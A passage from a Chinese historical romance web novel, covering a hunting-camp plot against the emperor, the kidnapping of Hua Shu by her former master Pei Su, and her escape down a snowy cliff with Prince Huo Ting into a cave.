瞧着霍霆细致地将汤婆子塞进华姝手里,又很自然地掖好被角。脸上虽未笑,但眼神温柔的不像话。 与午后那会,冷肃睨着她谈判时的样子,恍若两人。 若非亲眼所见,她都不敢信,素来不近女色的镇南王,会有如此铁汉柔情的一面。 韶华公主暗暗庆幸,还好她没拿这把柄逼着霍霆娶她。且不说能不能活着进镇南王府,即便能,后半生的下场也可想而知。 不多时,苓霄果然回来了。 但她步履匆匆,神色一言难尽:“王爷,圣上他……他去姑娘的帐中了。” 狭窄的木屋内,气氛骤然冷凝。 铜盆内火红的炭火,烧得滋滋作响。 霍霆沉默几息,转头看向她,沉声,缓慢:“你,再说一遍。” 苓霄哐当跪地,低头不敢言。 华姝亦是吓得说不出话来。 倒不是害怕霍霆,而是昭文帝这一行径,骇人听闻。 下一瞬,霍霆豁然起身,抬手就将桌上的佩剑别在了腰间。 “王爷!”华姝眼神错愕睁大,旋即半跪起身,拽住他衣袖,“您要去做什么……” “放心,我不会弑君。” 霍霆眼神微眯,威压沉沉:“但我镇南王府,也不能白白遭了这等屈辱。他既是自己行为不端,那就索性闹开了,让所有人都来瞧瞧。” “不可呀,王爷。”本就君臣关系紧张,若再因她闹这一出,华姝不敢往下想。 但霍霆也有他的道理。圣上已对她起了心思,今夜若坐以待毙,来日召幸她入宫也不过一句话的事。 是福不是祸,是祸躲不过。 于是华姝狠下心肠,心生一计。她转头看向韶华公主,“敢问公主,宫内如何处置爬龙床的宫女、女官?” 韶华公主一瞬了然,“宫女一律杖毙。若是世家女官,全凭圣心裁定。” 华姝:“若是这人让圣上当众颜面扫地呢?” 韶华公主细细凝她一会,轻笑:“有损国威,罪不容诛。” 华姝满意点点头,看向身侧,“王爷觉得如何?” 霍霆按捺住火气,耐着性子听她俩说完,若有所思地摸索了一阵翠玉扳指。 他看向韶华公主,缓声商议:“承蒙公主替姝儿解惑,本王这有个更一劳永逸的法子,助你脱困。” 韶华公主正色:“请王爷赐教。” 两人原定的计划,是将阮糖替换去宋煜的帐中。然后连夜捅破这事,趁乱送韶华公主下山出城。 这会,霍霆吩咐苓霄:“按照你家姑娘吩咐,去将阮糖换去她帐中。然后你即刻下山,找一具与公主身形相近的女尸送去宋煜帐中,明早卡着时辰点火。” “王爷好计策。” 韶华公主清冷的眸中,溢出点点亮色:“果然一劳永逸,日后我就彻底不用担心被追查了。” 霍霆淡淡颔首:“公主既是同意,本王即刻命人送你下山。” 之后的事,正如次日清晨众人所见。 然而事情到此,还远未结束。 正如霍玄御前禀告所言,后半夜,北侧哨塔遭遇一大批黑衣人伏击。 等他骑马去求援时,霍霆不见了,华姝也不见了。 长缨带着人几乎把整座山翻了个遍,也迟迟不见他们身影。 彻夜大雪,举目白茫茫一片。 长缨深一脚浅一脚地踩在小腿高的雪地里,置身于深山腹地,崩溃大喊: “王爷——” “您究竟在哪啊——” “您回应长缨一声啊!” 可应声的,始终仅是黑洞洞的空谷回响,寒鸦惊飞。 八尺高的男儿郎,罕见地双肩抖动,声泪俱下:“长缨带人来救你们了呀,王爷……”《 》 50-60 第51章 雪山定情 派人秘密送走韶华公主, 哨塔的小木屋内,只剩华姝和霍霆两个人。 霍霆起身去添炭,华姝继续缩在棉被里,眸光随着他宽厚的背影在屋内转悠。 这地界简陋昏黄, 却比她独自待在帐中安心、敞亮。 恍惚间, 她忽然想到一件事, “王爷,若圣上明日追究起来, 我今夜为何出现在您这……” 霍霆拎起水壶走到桌前,重新灌了汤婆子递给她,“只说来给我治伤便是。” 说罢,他拎上水壶出去接水。 华姝搂着暖呼呼的汤婆子,拧眉思忖片刻,等他再进门后,忙问:“您白日打猎时受伤了?” “嗯,被那熊瞎子抓了一把。”霍霆将水壶架回火炉上,神色如常道。 华姝朝他伸出手, “给我瞧瞧。” 霍霆没动, 意味深深:“在胸口。” 华姝轻蜷了蜷指尖, 略加重些语气,脸红嗔道:“那也给我瞧瞧。” 两人对峙几息, 霍霆拿她没辙, 轻叹声气, 缓步走过来。却不是拉开衣襟, 而是松松挽起衣袖,露出小臂处鲜血淋漓的新伤。 那四道血红,刺得华姝眼眶酸痛。 她颤巍巍拖住那条旧疤新伤斑驳的右臂, “您适才出去……” “皮外伤,养两日便好。”霍霆抬起左手,安抚似的轻揉了揉她头。 “拿什么伤的?这屋里可有热酒?可有金疮药?”华姝利落穿鞋下地,一连串忧声问道。 金疮药在矮柜抽屉里,霍霆又从床榻下拎出一坛冰冷的烧刀子,回道:“铁蒺藜,瞧着跟熊爪挺像的吧?” 听听这语气,还挺骄傲。 华姝不赞同地瞪他一眼,到火炉边烫了碗酒,用纱布沾着轻轻给他擦拭三遍伤口,再用指腹蘸取药膏,仔细涂抹均匀。 霍霆任由她摆弄,始终蹙眉忍着没吭声,但手臂会不受控地刺痛抽动。 华姝放慢速度,停下来让他缓口气。 软声自责:“我刚就不该问您,没准还能想到别的法子。而且,”她顿了顿:“就算是您受伤,营地有随行太医,怎么都轮不到我大半夜来您这。” “这个好说,”霍霆道:“他们晚宴都喝过鹿血,今夜不宜被搅扰。” 空气似蜜浆般滞流一瞬。 华姝眼睫微动,瞳色深处漫开一片薄雾般的羞意,串连起眼尾的淡绯水痕。 她倏然垂眸,故作镇静地继续给他上药。 可两人之间气氛攒动,持续升温。 等她慢吞吞给纱布系好活扣后,下巴被粗粝的指腹捏住,勾起。 华姝不敢看他,蚊声:“您……您又没喝。” 男人慢慢偏过头,笼罩下阴影,携着安人心神的檀意缓缓凑近。低语呢喃,理直气壮:“喝了一口。” 华姝抿唇,这人好生不讲理。 眼前却浮现那四道刺目血痕,暗叹罢了,且由着他捉弄这一回吧。 男人灼热气息拂面而来,她姗然阖上眼,心房抑制不住地涌起一股躁动,仿佛她也喝过鹿血似的。 很快,唇瓣被衔住,轻碾,厮磨。 后颈忽然也被捏了下,他示意她回应 自从别院那次回吻他后,这人每次索吻总要尝尽滋味,才肯餍足松口。 华姝呼吸越发局促,缓缓顺了顺气息,纤纤素手轻碾上霍霆的衣襟,檀口微张…… “王爷,不好了!” 突然,长缨一把推开门闯了进来,“外……面……” 他猛地背过身去,被自己后半句话呛得好一阵咳嗽。 华姝回过神来,她轻推开霍霆,也背过身去,羞得缩到他身后。 这种事情被突然打断,没有哪个男人会不气。霍霆目光幽沉地盯着长缨,“你最好是有急事。” 长缨没敢回身,尴尬地禀告:“有只熊瞎子从密林冲进营地了,应是来寻白日那只小熊的。底下的人废些功夫也能制服,但南边哨塔离营地近,唯恐会惊扰圣驾。” “那您去瞧瞧吧,免得明早又多一条把柄。”华姝双手捂住发烫的脸颊,她好想一个人冷静会。 霍霆也是没料到,这熊如此不禁念叨 他回身揉了揉她头顶,无奈拿起桌上佩剑,临走前不忘叮嘱:“今夜就乖乖猫在这,我去去就回。若有异样,立马喊人。” 华姝连声应好。 她想,霍霆将一切做得天衣无缝,至少这一夜对方会消停了,重头戏多半在明早。 至于熊瞎子来找自己的孩子,合情合理,遂也没多想。 哪知,对方正是利用她们这一心理。 霍霆走后约莫一盏茶的功夫,十几个蒙面黑衣人,潜藏于夜色之中,疾速逼近哨塔。 “什么人?!” 侍卫发现及时,八十多号人连忙抄家伙冲上去,将木屋团团掩护在中间。同时“咻”得一声,朝天空放出烟花信号。 华姝一听,脸色微变。 她忙吹灭烛火,浇灭炭盆,又摸黑将桌椅抵住门板。 屋子太小,床下和柜子根本藏不住人,她急中生智,踩着摞起来的桌椅,艰难爬到横梁上去。 能躲一时是一时,霍霆见到信号就会赶过来。 何况外面敌寡我众,想必来得及。 但显然有备而来。 虽是十几人,但每人就揣着四五颗手雷,一齐朝侍卫扔出去,霎时雪沫飞溅,遮天蔽日。 华姝在屋内只听得“嘭”得一声巨响,还来不及探头查看,直觉头顶一凉。 她嚯然仰头,猝然撞上一双桀笑的阴森黑眸。 对方一个手刀劈下,天地陷入黑暗。 * 华姝再醒来,双手被掉在一棵歪脖树上。手腕已是又僵又麻,脚下是黑漆漆的悬崖,耳边风雪呼啸。 她眼皮突突直跳,忍不住闭紧双眼。 竭力压下心中的恐惧,思考着该如何脱险。至少得先让他们把她放回平地,否则即便霍霆带人来救,也会束手束脚。 “醒了就睁眼吧,呼吸都变了。” 一道沙哑的陌生男声,由远及近。 华姝不得不重新睁眼,看着面前的蒙面黑衣人,有气无力地恳切道:“可否把我放下来待一会?我感觉,我快要死、死了……” “再装?” “我、没骗你。”华姝大喘了一口气,断断续续游说:“双腕热血难回流,地冻天寒,我还没穿大氅,啊啊……阿嚏!” 说着,她朝着那人的脸,使劲打了几个喷嚏:“我是大夫……夫,这、这事你得信我。” 裴夙嫌弃地躲远几步,冷哼一声,根本不上套。 好个狡诈的小东西,还好是他亲自跟来了。换作其他人,还真没准会信了她这套说辞。 华姝眼见一计不成,也不再同他辩驳,尽量放慢呼吸,保存体力。 不用想也知,她这会定是冻得面白唇紫,索性头颅低低耷拉下去,顺势装死。 片刻消停后,裴夙瞧着她进气多出气少,心里还是动摇了,皱眉唤道:“华姝?” 没人理他。 “华姝,你给我回话!” 还是没人理他。 裴夙发狠地捏起她下巴,“装死这招对我没用,你最少老实点,否则遭罪的是你自己。” 华姝眼睫孱颤地睁开一跳缝,鼻子轻嗯了声:“还没、没死……” 她在赌,赌对方不舍得她死。 果然,僵持好一会后,黑衣人低低咒骂了声,命人将她解下来。扔在悬崖边看守着,手腕绳索未松绑。 双臂不再吊着,华姝多少好受点。 继续羸弱地躺在雪地里,装死躺尸。她蜷缩成团,得以维持住心口一点温热,其余各处都快冻成冰坨子了。 一道斗篷忽然罩头扔下来,将她严实盖在里面,遮挡住不少寒意。 华姝无声唇角,看来她赌对了。 其实这几日,她一直反复在思考司空震的那句“他非要留下你!” 是谁,尚不得而知。但能试着揣度对方动机,绝不可能是善意大发,那就说明她身上还有利用价值。否则以他们的势力,这些年总有办法铲草除根。 确认这一点后,华姝心神又稳了稳,余有精力地悄摸搓着冻僵的手腕。 她能想到这一点,想必霍霆也能想到。可他肯定还会奋不顾身前来,甘愿咬饵上钩。 华姝咬紧唇瓣,怎么办? 接下来该怎么办? 真真潮湿寒气自地上冒出来,不断洞穿着衣裙。华姝挨住雪地的半边身子,冻得越来越麻木。 她将斗篷悄掀起一条细缝,确定黑衣人都在警惕地盯着朝山下那条小路,没怎么在意她,华姝慢慢地,慢慢地用脚尖勾住斗篷,一寸寸往身下垫,将自己团成个小球。 殊不知,这点小动作,悉数落在裴夙眼中。 他居高临下,瞪着玄色斗篷下那个小浑球,又气又想笑,她果然满嘴谎话。 可扪心自问,他真能眼见她冻死么? 今夜亲自送昭文帝走进姑娘的帐中后,他便觉得心口闷闷的,留下人守在帐篷门口侍候,独自逆风而走。 前路尽是白茫茫的雪幕,极易迷了人眼。 怔讼间,眼前浮现着姑娘甜甜的笑脸,脆生生喊师父,没大没小跟他还嘴、动手的。 满天下算上,她小脑袋独一份的好摸。 裴夙蓦然顿住脚步,又硬生生抬脚,继续向前。 他告诫自己,像他们这种刀尖舔血的人,不配生出一丝一毫的感情,无异于变相自杀。 可这姑娘,是他一年一年眼瞧着长大,凭什么给那狗皇帝糟蹋? 耳边更是不时回响,她晚间维护他的话:“我师父对我好就够了!” 哪怕面对杀人不眨眼的恶魔,她语气依旧斩钉截铁。 裴夙再一次滞住脚步。 大雪铺天盖地袭来,远处篝火跳动明亮,权倾朝野的裴督主,一时竟不知该去往何方。 他终是绷紧下颌,加快步伐往回赶。 路过东边时,不经意瞥见宋煜的帐篷内人影攒动,有出有进,好不热闹。 裴夙踮脚飞身,隐匿进旁边的松树冠上,凌空俯瞰着。 就在耐心快耗尽时,霍霆主仆各背着个姑娘,悄无声息隐进夜色,一路往北侧疾行而去。 “好一个黄雀在后,”他斜勾唇角:“就是不知,谁能笑到最后了。” “主子,霍霆来了。”有人提醒。 裴夙从回忆中抽离思绪,望向山下那唯一窄路。 华姝闻声也忙推搡开斗篷。可刚要站起来,一柄利刃“嗖”得架上她脖颈,“老实点!” 她不敢再动,维持着半跪坐姿势,望向前方。 黑洞洞的悬崖边缘,有光浮动。 一道高大身影,手提孤灯,踏雪拾阶而上,玄色大氅猎猎飞扬。 雪夜,山崖,孤身赴约。 华姝一瞬不瞬望着他,将这一幕刻进脑海。 以至于多年以后,她教女儿遴选夫婿时,还会谈及:“那一夜,他于雪雾微光中而来,是这世间最美光景。” 风雪呼啸。 肩头压满落雪,却压不弯脊梁。霍霆按照留给他的字条,赤手空拳,屹立在裴夙等人面前。 即便以一敌百,他眼中也无丝毫恐惧,泰然睥睨众人,周身翻涌着磅礴气势,赫然就是天生的王者。 直到看清半跪在雪地的姑娘,瞳中裂出一线慌色。 他下颌绷紧,喝道:“放开她。” 霍霆越是忧心,裴夙越放心。 不过面对这位百年难遇的大昭战神,尽管他孤身一人,裴夙依然不敢情敌。他随手指个人,“去瞧瞧有没有尾巴。” 那人很快去而复返,拱手禀告:“主子,就他一个。” 裴夙不由多审视霍霆几眼,没想到真有人不怕死。他的勇气令人欣赏,他的底气也令人警惕。 裴夙回首,“带她过来。” 黑衣人旋即拽起华姝胳膊,用剑挟持着人往前走。 华姝临起身时,不忘揪住那件斗篷。 大约往前走七八步,离霍霆更近了。 她用指尖无声示意他瞧这斗篷。言外之意,他们暂时不会让她死,让他不必舍身犯险。 霍霆看到了,看到了她被磨红的双腕 没人比他更清楚,她肌肤有多娇嫩。 如今被那粗糙的麻绳捆着,还不知得有多疼。 他神色蹙紧,华姝心头漾起千言万语,但情况危急,她能做的唯有安抚一笑。 姑娘盈眸映亮,更搅得霍霆气血翻涌。他抬眼逼视裴夙,“你的目标是我,放开她。” 裴夙刚从吃里扒外小徒弟的手中夺回斗篷,慢条斯理拍掉雪沫,轻嗤了声:“想救她还不容易,你从这悬崖跳下去,我自不会为难她。” “笑话。”霍霆冷哼:“若奸佞狂徒之言可信,你们又何必见不得光?” “人在我手上,你不信又能如何?” 霍霆不以为然,举头仰观天色。还有半个时辰,天就要亮了。这群见不得光的蛀虫,比他更等不起。 裴夙瞳色阴沉下来,“我最厌恶被人威胁。”他忽地一把扼住华姝的咽喉,“你真当我不敢杀她?” 华姝霎时呼吸僵停,窒息感如潮水般淹没头顶,脸色涨红一片。 她愤恨挣扎着,想唾骂他,喉咙一点声因都发不出。 霍霆双手攥得骨节泛白,但面上神色如常,无一丝波澜道:“你我的恩怨,没必要拿个姑娘置气。她若真死了,那机关匣中的密信你就更拿不到了。” “想诈我?”裴夙微微眯眼,“就算真诈出来,你也是有命听没命去拿了。” “来啊,给咱们的大昭战神拿把锋利的匕首。”他施然放开手,抚平衣袖,唇角斜勾:“王爷只要往心口捅一刀,我即刻放人。你可以亲眼瞧着她下山,再跳崖不迟。” 华姝重活自由,虚弱地跪倒在雪地,大口大口喘气。 她眼瞧着一柄匕首被扔到霍霆脚边,不顾呼吸艰涩,仰头喊话:“王爷,不要!” “我若死了,还有您来报仇。可您若遇难,霍府孤木难支,大昭山河难固,这天下千万子民又当托付与何人?” “华姝死不足惜,但您……” 裴夙及时封住她哑穴,复杂凝视好一会。 从未想过,这番话会被一个姑娘家脱口而出。若非身份有别,当师父的定会为她骄傲。 他似乎真错了,从一开始就错了。 既注定殊途,就不该同行这十年路。 相较于裴夙的阴郁,霍霆的傲然之色皆是大方流露,目露欣赏,缓声哄慰:“别怕,一切我自有思量。” 他俯身拾起匕首,剥去外鞘,没有丝毫犹疑地抵在心口,又命令道:“先给她松绑。” 裴夙皱了皱眉,点头应下。 有人来松绑,华姝根本不在乎。她说不出话,就拼命地朝霍霆摇头,红着眼怒瞪他。 ——不准! ——我不准你伤害自己! ——您为我,已经做得够多了…… 似是不忍见她这般,霍霆垂下眼。 在一双双警惕的目光中,他手起到落,“噗刺”一声刺进心口。涓涓热血,霎时飞溅而出。 华姝睁大眼,雪地的猩红刺得她双目生疼,偏是喉咙发不出一声呜咽。 那群黑衣人也不由睁大眼,没想到截杀霍霆会这么容易。 可正是这一刹那,山脚下几簇信号烟花“咻”得瑰丽升空。 霍霆率先反应过来,猛地拔出匕首,一个空中翻身,直扑裴夙面门。 裴夙本能向后躲闪。 霍霆趁这空荡,一把将华姝捞入怀,“抱紧我。” 与此同时,长缨带着精锐暗卫,一齐冲上来,不由分说直朝黑衣人杀去。 裴夙气得咬紧牙关,一把抽出佩剑,带头厮杀而上,“都给我上,一个活口不留。” “是!” 一时间,雪刃出鞘,寒光划破夜幕。 霍霆一手护着华姝,一手接过扔来的佩剑,与裴夙胶着缠斗。十数个回合交手下来,虽怀中藏有弱点,依旧不落下风。 裴夙亦是武艺不俗,没落到只靠华姝才能制胜的地步。但他用惯了绣春刀,不善长剑,且眼见天色就亮了,务必速战速决。 说时迟那时快,他佯装一个倒栽在地,再在霍霆近身进攻时,骤然朝他大腿旧伤,狠踹一脚。 蚀骨的刺痛传来,霍霆不由打个趔趄,护着华姝急步后退,最后以剑拄地,栽跪进雪里。 王爷! 华姝心尖揪紧,无声恸呼。 要知道,这位威振四海的常胜将军,纵使面对昭文帝的九五之威,也绝非能轻易屈膝跪拜的。 她何德何能,让他牺牲至此? 然而那边,裴夙已一跃而起,瞅准机会,抬剑就朝霍霆面门劈来—— “王爷!” 远处,长缨等人惶然。 可他们为了不惊动山顶,只有十数人上山。这会皆是一对三,想飞身来救就被死死缠住。 近处,华姝也惊大双眼。 那柄泛着冷芒的利箭,在她瞳孔中极具放大,再放大。 不过瞬息,已逼至眼前。 紧急关头,她一把捡起遗落在地的匕首,竭力朝裴夙心口飞射而去。 裴夙目光震颤,出于本能,猛地将匕首打回。 华姝急急向后躲闪。 却不慎踩在被鲜血冻住的冰雪上,脚下一滑,整个人往后翻仰,直直出溜到悬崖边—— “华姝!” 裴夙飞身去拽。 却是将将晚了一步,与她指尖划擦而过,眼瞧着她坠进洞黑深渊。 而就在他怔愣刹那,另一道身影,已朝着那宛若倾盆兽口的断崖,纵身跃下。 霍霆身量重,下坠的速度更快。 近两丈高后,他渐渐追上先坠落的华姝,伸手朝她抓去。 华姝还在疾速坠降,悬崖下的狂风骤雪,将人脑鞭笞得发懵,她全然做好赴死的准备。 可望见那道如神砥一般从天而降的高大身影后,她更懵了,都没意识到哑穴已被冲开。 ……怎么会? 他…… 她是在做梦么? “王爷——” “是你吗——” 华姝重新迸发出求生意志,朝上空挣扎着,竭力去够他手。 哪怕最终不得获救,能再抱一回她的神明也好。 几息之间,两人的手指一寸一寸凑近 终于,霍霆一把紧紧抱住她腰。 然后不作耽搁,另一只手解下藏绕在衣襟内侧的铁蒺藜,竭力朝头顶的崖壁上甩去。 铁蒺藜尖锐的倒钩,撞上冷硬的崖壁,“滋啦”作响,抓下来无数的小石块。 华姝两人随着绳索还在下坠。 速度明显慢了。 又约莫两三丈后,终于,铁蒺藜卡住一块岩石凹槽,两人蓦地震颤两下,停下来。 华姝仰头看向没了影子的山顶,心有余悸。 霍霆也低头看下来,胸膛剧烈起伏粗喘着,安抚她:“没事了,一切有我在。” “您呢?”华姝盯着他染血的衣襟。 “刀伤严重吗?” “那腿可是旧伤复发了?” “怎么就敢跳下来了呢……” 说到最后,她微有哽咽,又极力逼退 此情此景,容不得她半点怯懦。 “这会用不到腿,暂时无碍。” 霍霆缓了缓,声线渐渐恢复平静:“至于那血,是膳房剩下的鹿血。他约我来崖边,想也知道为何,总要提前做点准备。” 华姝怔然一瞬,抿唇喜极而泣,都忘了用敬称:“可把你聪明坏了。” 说着,双臂又抱紧他几分,剧烈心跳平复了些。她动作小心地环顾四周,“那现在,我们该怎么办?” 霍霆也又搂紧她几分,虽是不合时宜,可华姝少有的主动亲近,让他如获至宝。 “趁胳膊还有气力,你搂紧我脖颈,去我袖带掏火折子,瞧瞧脚下是何情形。” “好。” 此刻寅时过半,天空东边已蒙蒙亮。 再加上火折子的光,华姝隐约能瞧清 此刻,他俩离山脚下还且有一大段距离,冒然跳下去,不死也得重伤。 但左下方一丈左右的位置,有块大型三角岩台。她顿住火折子,指过去,“王爷,您瞧。” 霍霆:“瞧瞧左边有藤蔓之物?” 华姝左脚卡住岩壁,借力照亮左侧,入眼光秃秃一片,“这个时节,即便有也容易断的。”她安慰道。 霍霆“嗯”了声,蹙眉沉思。 华姝也凝神想别的法子。 一筹莫展间,头顶被铁蒺藜卡住的凹凸,突然“咔嚓——”碎裂。 “啊!” 随着华姝一声低呼,两人再度急剧下坠。 耳边风声雪唳! 硕大的碎石四散砸下! 霍霆宽厚大掌护住华姝后脑,按进他怀中。另一只手稳稳抓着绳索,同侧的脚掌紧紧抵住岩壁,尽力减慢下坠速度。 华姝低头瞧见,脚掌也学他照做。 千钧一发之际,铁蒺藜再卡住一处凹槽,不幸中的万幸,两人又得以喘口气。 好消息是,他们离那岩台只剩一丈高 坏消息是,铁蒺藜随时都可能再坠。 霍霆目测着那岩台的距离,沉默几息后,道:“姝儿,等会顺着我手臂往下滑。我会拽住你手腕,用力悠你过去。” 华姝惊魂未定地从他怀中探出头,也目测了下距离。算上两人手臂长度,加上借力的冲劲,她落到那宽大的岩台也算稳妥。 但,“您呢?” 她转头看他,眸含轻愁:“您将我悠过去,自己怎么办?” “我等会用脚蹬下崖壁,借力悠过去便是。”男人凤目静静回看她,声音一如既往的平稳,甚至语气更轻、更柔:“这会手臂还有力气,不会有事的。” 华姝没有应声。 她闷闷咬住下唇,眸光如刀般钉在他脸上,仿佛要剖开他每一句温柔谎言的糖衣外壳。 霍霆不动声色:“乖,听话。” 华姝杏眸蒙上一层雾,水光潋滟,却倔强不肯坠落,“我不听,您骗人。” “那岩台若在正下方,莫说一丈,便是三丈您也能轻松跃过去。可它偏了,偏了整整三尺。” 她又瞟眼下方的深渊乱石,光瞧着都让人心惊胆战,“您腿伤复发,手臂也有新伤,倘若万一……” 尾音倏然破碎,华姝终是抑制不住地哽咽。 霍霆几次想为她拭去泪水,却又抽不出手。他垂眸瞧着那些尖锐乱石,怅然轻叹:“倘若万一,你就能堂堂正正嫁人了,也挺好的。” 耳畔狂狷风雪,仿佛寂静一瞬。 而后送来一道女儿家的轻声软语。 “霍澜舟。” 她头一次,这般质问他:“你欺负了我这么久,以后是想不负责了吗?” 第52章 豆沙红色小衣 霍霆惊怔了下, 一瞬不瞬盯着她瞧,黑眸比脚下这深渊还深不可测。 华姝自己也被惊住了,想避开偏偏无路可逃,“王、王爷……” 天, 她刚刚是真急昏了头, 都说了些什么呀, 竟敢对霍霆直呼其名。 喊就喊了吧,还喊得那般亲近? 霍霆仍在凝视她, 面无表情,意味不明。 华姝心里越发没底,轻抿了抿唇瓣,索性因势利导,继续软声劝道:“王爷若要治罪,那就更得全须全尾地出去了,对吧?” 软糯糯的尾音,似猫咪尾尖挠人心。 霍霆唇角微动,绷不住地笑出声:“没大没小。” 他生得俊逸, 此刻一笑, 连那眉骨上凶凶的细疤也惹眼几分。 华姝瞧得清楚, 心头一悸。 她赧然垂眸,腾出没搂着他脖颈的那只手, 动作小心地从鹿皮棉靴内提起一把小巧匕首, “许是他们认定我是手无缚鸡之力的弱女子, 没搜我的身, 您瞧瞧可用上?” 正是霍玄送的那把匕首,上乘玄铁精心锻造,削铁如泥。在这陡峭崖壁处, 无异于雪中得炭,枯木逢春。 霍霆紧蹙多时的眉峰终得舒展。 他不作耽搁,从新目测起去岩台的路径,凝神思忖几息后,沉一口气道:“姝儿,你将匕首插入我衣襟。然后松开我肩颈,从背后搂住我腰,记得随我双脚同步抵住崖壁。” “好。”华姝无条件信任他的安排。 她将匕首稳稳别入霍霆的衣襟内侧,两手搓热后,轮换着从他肩膀挪到他腋下。 左脚抵着崖壁,屏住呼吸,一寸一寸往下挪,直到挪得头顶能穿过他腋下、绕到后背。 这期间,霍霆始终单手抓紧她后腰,一点点配合她挪动,直到变为环抱自己的姿势。 华姝轻喘口气,“王爷,我好了。” 霍霆:“我要松手了,再抓紧些。” “嗯!”华姝不敢松懈分毫,双臂环抱住他的同时,双腕顺势穿过他束紧的腰带,给自己更多一层防护。 霍霆一点点松开提在她后腰的力道,确认华姝能适应后,旋即倒手拔出怀中的匕首,伸展长臂,往左侧崖壁猛地插进去。 同时双脚挑凸起的岩石卡住。 华姝学着他,侧头寻到凸起的岩石,双脚也卡住。 霍霆试着使劲撼动匕首,确定足够牢固,然后试着慢慢减弱右手对绳索的吃劲,“姝儿,我要掀开铁蒺藜了。” 成败在此一举。 稍有不慎,两个人必定丧生崖底,尸骨无存。 一个人都活不了。 霍霆:“你现在后悔,还来得及。” 华姝柔声一笑:“如果没有王爷,我这会,血恐怕已是凉透。” “不准胡言!”他凶她。 华姝仍是笑:“我相信您可以的。” 少女嗓音娇软,不带一点压迫感。 可再没有比心尖宠的鼓励,更能让男人热血沸腾的了,“好,抓稳!” 霍霆屏气凝神,右臂腱子肉块块绷紧,将上空的铁蒺藜一把向外掀开,又猛地朝左前方的凹槽甩过去。 这松动的刹那,除了脚下聊胜于无的支撑力,两人加起来近两百斤的重量,全悬在那一把精小的匕首上。 好似断了线的风筝,飘在数丈高空。 当真是命悬一线。 华姝的心也高高悬起,冷汗浃背。 拼尽全力抱紧他,把命交给他。 好在霍霆有着百步穿杨的慧眼,新选的凹槽更深,一把利落勾住了。 右手一吃上劲,两人身形瞬时稳住。 都不禁浅松一口气。 接下来,相对安全些。 在铁蒺藜的固定下,霍霆往左挪动匕首。华姝抵住崖壁的双脚,也配合着他往左挪动。 如此反复两次,两人一鼓作气,挪到那块三角岩台的正上方。 因为新凹槽是在左前方,同长度绳索的情况下,位置比原来更低。 两人左挪的同时,也在慢慢往下移动。此时双脚距离岩台,只剩一个人高的距离。 于是这次,霍霆相对没负担地掀开铁蒺藜,收到手边,再勾住新一凹槽。 左手向下挪动匕首,背着华姝一步一步,悠荡、平稳降落在那一大块三角岩台上。 双脚接触到平地,华姝腿就软了。 先前佯装出来的镇定,被风一吹即散 霍霆相对好些,征战这些年,已不知游走在鬼门关多少次。他及时捞住华姝腰身,让她靠着自己胸膛歇会。 寒风料峭,华姝倚靠在他怀中,犹如觅得温暖港湾,悬着多时的心总算缓缓放平。 劫后余生的静谧安详,显得格外珍贵。 霍霆却罕见生出一股后怕。 倘若他没跟着跳下来,她一个柔弱小姑娘,独自瘫坐在这,眼见着他离去,想哭诉都没人回应,该是何等心悸绝望? 他低头,柔哄:“吓坏了吧?” “有您在,我不怕的。”嘴上这般应承着,冻红的小手却是伸进他大氅内,重新环住他腰身,圈紧、再圈紧。仿佛一松手,他便会消失不见。 霍霆轻抚她后背,“不怕,都过去了。” 华姝想起什么,不满地小小哼了声,带着鼻音的哼声宛如撒娇。 霍霆但笑不语。 落在岩台后才发现,后面是个山洞。 两人稍作喘气,走向山洞。 火折子早就掉落崖下,连个响都没听见。好在天色已渐亮,借着微弱的光,他们探看这个五尺见方的山洞。 有两条花蛇盘踞在内,冬眠。 华姝眼皮一跳,再次庆幸霍霆还陪在她身边。 只见他手起刀落,就利落切断了蛇的七寸,刀尖挑着扔到洞外的岩台上。从头到尾,连眼睛都没眨一下。 两人终于有了遮风蔽雪的落脚地。 相拥靠坐在山洞内,阖眼小歇。 无法烤火取暖,霍霆就盘腿而坐,利用厚实的大氅,为华姝罩出一方温暖天地。 她蜷缩在他怀中,檀香混着体温将她笼住,心神方才稳了稳。 霍霆待手背散去寒气,便将她柔若无骨的小手捞过来焐着。 避开皓腕处的红肿绑痕,轻搓,慢揉……在枯燥的绝境也觉出几分兴致。 华姝困乏得不想睁眼,任由那粗粝大掌来回揉搓着,尽管明知这人在以权谋私。 双手搓热后,他又来捞她脚,“鞋子可有被雪水打湿?” 华姝这下绷不住脸皮了,忙睁眼拦住他手,“鹿皮做的靴子,不碍事的。” “即便没湿,也定是冻得不轻。”霍霆坚持道:“还是早些暖热为好,免得病气从脚入。” “真不用了。” 华姝一想到之前夜里脚趾被他把玩、挠痒的经历,就止不住心跳怦然,再次软声婉拒:“适才您累得不轻,还是多歇歇神吧。” 小女儿家的心思,染红白净的面颊。 悉数落入霍霆眼中,“这次不给你挠痒。” 华姝薄薄的脸皮更红了,柔柔去推他手,“那也不行。” 霍霆依着她松了手,略作思忖,叹道:“脚冷容易长冻疮,冻疮发痒,痒得人来回搓脚,搓破后会流脓,钻心疼,磨得人夜里翻来覆去睡不着。还会留下一块一块的丑疤,日后每日沐浴都会瞧见……” “王爷!” 华姝娇嗔一声打断他,红脸无奈道:“都应您便是了。”这人惯是会拿捏她七寸。 “我力道轻些。”霍霆为她一一褪去鞋袜,得偿所愿将那双小脚捞入掌中。 得亏没全由着她,女儿家手足冬日大多寒凉,华姝在风雪里滞留太久,双脚已快冻成冰坨子了。 连雪白的脚趾都冻得红彤彤。但她脚趾小巧圆润,泛起粉意后,瞧着还怪可爱的。 霍霆言而有信,这次没挠痒捉弄人。 但他指腹带有薄茧,尤其她双脚回暖有知觉后,薄茧所措之处,娇嫩的肌肤都会泛起一股微微痒意。 倒也能忍,却又不能忽视,那大掌的存在感极强。华姝羞于面对,偏还没处躲藏,最后不得不将泛红的脸蛋往他胸膛里埋。 惹得男人连声低笑。 须臾后,双脚连带着全身暖和过来,华姝精气神也足了些,指尖探向霍霆左臂,反客为主,捉过来弯起宽大的袖袍,查看伤势。 先前的包扎早已崩开,纱布染红。 难为他失血这么多,还有气力在岩壁上攀爬,尤其还背着一个累赘的她。 考虑到原来纱布沾有金疮药,华姝从怀中掏出素白软帕,准备直接缠在外层。 可男人的麦色浩腕抵过她小腿粗,雪色绸缎勉强只能缠一圈,连打结都没有余留。 霍霆瞧着,“不行就算了,回去再包扎也无妨。” “那不成,”华姝正色道:“您这都破皮流血了,万一长冻疮怎么办?” 霍霆被自己的话噎了下。 也正色点点头:“都听华神医的。” 华姝没计较他的捉弄,拧眉想了想,温吞赧颜道:“王爷可否先把眼睛闭上?” 霍霆不解,但照做。 而后就听见一阵窸窣的布料摩擦声。 